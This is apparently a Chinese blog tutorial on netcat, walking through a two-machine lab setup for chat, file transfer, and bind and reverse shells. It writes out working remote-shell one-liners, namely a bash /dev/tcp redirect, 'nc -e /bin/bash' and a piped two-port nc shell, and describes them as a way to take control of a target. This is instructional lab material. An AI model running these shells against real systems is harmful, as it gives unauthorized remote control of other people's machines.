NetCat

作者:xiaowu 日期: 分类:xiaowu 浏览:581

一:Netcat简介

netcat称为网络工具中的瑞士军刀,体积小巧,但功能强大,为了方便常用nc作为其简称。 它可以在两台设备上面相互交互,主要就是侦听模式传输模式。大致功能如下:

  • Telnet功能

  • 获取banner信息

  • 传输文本信息

  • 传输文件/目录

  • 加密传输文件,默认不加密

  • 远程控制

  • 加密所有流量

  • 流媒体服务器

  • 远程克隆硬盘

二:工具下载 

1. windows系统

Windows:https://eternallybored.org/misc/netcat/解压安装包,直接运行,无需安装

image.png

2.linux系统

输入下面命令即可安装

yum install nc

三:常用参数

image.png

四:常用功能

 实验环境:

一台kali虚拟机(ip地址为192.168.80.2)和一台win11主机(ip地址为192.168.80.3),两台机器网络在同一网段,能互相ping通,且都安装了nc

1.连接通讯 

服务端 监听端口: nc -lnvp 端口
客户端 连接端口: nc 服务端ip 端口  

在kali端监听端口
nc -lnvp 9999
[object Object]
在windows端连接监听端口
nc 192.168.80.2 9999

image.png

实现连接通讯

image.png

image.png

双方可以互相通信,输入的数据另一端也可以显示

2.文件传输

接收端:nc -lvp 端口 >传输的文件在本地保存的路径
传输端:nc 接收端ip 端口 <要传输的文件路径

首先在win上创建一个文本

image.png

[1]接收端开启接收
image.png

[2]传输端开启传输 

image.png

[3]文件成功传输 

 可以看到kali端已经成功收到文件

image.png

3.传输shell

shell传输分为正向shell反向shell ,理解正向和反向,主要就是分清客户端服务端

[1] 正向shell

正向就是客户端主动连接服务端,也就是我们去找目标拿权限,获取服务端的shell,这里我们把kali作为客户端,来正向获取windows的shell权限

  1. 服务端:nc -lvp 端口 -e /bin/sh
  2. //正向需要经过服务端的防火墙,所以在这一步之前要先关闭防火墙
  3. 客户端:nc 服务端ip 端口     


 服务段开始监听

image.png

客户端连接

image.png

这里因为没有关服务端防火墙,所以连接失败,接下来试试反向shell

[2]反向shell

反向shell就是让目标把权限自己给我们,也就是服务端来找客户端并把shell给客户端

  1. 服务端反弹shell: bash反弹:bash -i >& /dev/tcp/客户端ip/端口 0>&1
    nc反 弹 :nc -e /bin/bash 客户端ip 端口


    //反弹姿势还有很多,这里只列举了两种
  2. 客户端开启监听: nc -lvp 端口


先在客户端打开监听

image.png

再用·服务端反弹连接给出shell

image.png

成功反弹

巧技 

在用nc的正向shell时不仅要关心防火墙的情况,还要注意-e参数是否被支持,看看初始命令

nc -e /bin/bash 客户端ip 端口

如果此时-e参数不被支持,但你仍然想使用正向shell建立连接,应该怎么办呢?这就是要给大家讲的小技巧——nc串连,具体命令如下:

nc 客户端的ip 第一个端口|/bin/bash |nc 客户端的ip  第二个端口

语句的前半部分服务端nc将shell回弹到客户端ip的第一个端口此时客户端开启对第一个端口的监听并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户在第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容,此时用户再用客户端nc监听并连接第二个端口,这样就可以实现攻击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果


关键词:

网友评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。